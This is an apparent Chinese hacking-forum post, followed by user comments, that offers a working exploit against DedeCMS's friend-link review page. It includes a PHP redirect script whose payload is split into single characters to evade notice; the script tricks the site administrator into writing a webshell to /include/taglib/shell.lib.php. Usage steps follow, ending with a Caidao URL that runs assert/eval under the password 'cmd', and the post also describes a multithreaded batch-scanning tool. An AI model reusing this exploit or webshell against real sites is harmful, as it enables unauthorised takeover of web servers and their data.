dedeCMS友情链接getshell漏洞利用工具(附exp)
不多说一类多说的吧直接上exp
<?php //print_r($_SERVER); $referer = $_SERVER['HTTP_REFERER']; $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径 //拼接 exp $muma = '<'.'?'.'p'.'h'.'p'.' '.'p'.'h'.'p'.'i'.'n'.'f'.'o'.'('.')'.';'.'?'.'>'.'<'.'?'.'p'.'h'.'p'.' '.'e'.'x'.'t'.'r'.'a'.'c'.'t'.'('.'$'.'_'.'G'.'E'.'T'.')'.'.'.'$'.'a'.'('.'$'.'b'.'['.'0'.']'.')'.';'.'?'.'>'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit(); ?>使用
代码存为PHP文件,上传到你的空间。去提前友连申请,网址填写你上传后的地址。
站长审核后台友情连接时会生成一句话地址为/include/taglib/shell.lib.php
御剑字典添加/include/taglib/shell.lib.php测试是否存活即可
最后菜刀访问传参一句话http://site.com/include/taglib/shell.lib.php?a=assert&b[0]=@eval($_POST[cmd]);
密码为cmd
当然也有大牛研究出来了工具
使用说明
1、左侧右键导入网址
2、中间右键点击配置可打开右侧功能区
3、修改key.ini文件里面的www.xxx.com/dede.php 替换成自己的即可
4、扫描完毕之后点击开始获取即可获取验证码,点击手工插入即可进行插入功能,下次会自动获取验证码,直接输入
验证码,进行手工插入即可。
4、多线程批量扫描,可自定义线程,可以导入大量url工作。
管理员设置回复可下载
评论
669条评论yangtianba Lv.1
Chrome 69.0.3497.100
Windows 7 x64 Edition 回复
我要下载谢谢
云南省临沧市 电信
yangtianba Lv.1
Chrome 69.0.3497.100
Windows 7 x64 Edition 回复
66666666666
云南省临沧市 电信
wanmidi Lv.1
Chrome 64.0.3282.140
Windows 回复
666666666a !~~~
安徽省阜阳市 电信
2068039800 Lv.2
Chrome 70.0.3538.25
Windows 7 x64 Edition 回复
很好。很强大
四川省德阳市 移动
2068039800 Lv.2
Chrome 63.0.3239.132
Windows 7 x64 Edition 回复
大神威武 谢谢 很好 很好很高尚a
四川省德阳市 移动
2068039800 Lv.2
Chrome 63.0.3239.132
Windows 7 x64 Edition 回复
大佬牛逼 谢谢了
四川省德阳市 移动
2068039800 Lv.2
Chrome 63.0.3239.132
Windows 7 x64 Edition 回复
大佬牛逼啊
四川省德阳市 移动
akdepuquan Lv.2
Chrome 75.0.3770.100
Windows 7 回复
66addsadfafksdnfsdnfnsdfnsdnklfs
日本
akdepuquan Lv.2
Chrome 75.0.3770.100
Windows 7 回复
大神威武 谢谢
日本
akdepuquan Lv.2
Chrome 75.0.3770.100
Windows 7 回复
大神威武 谢谢 很好 很好很高尚a
日本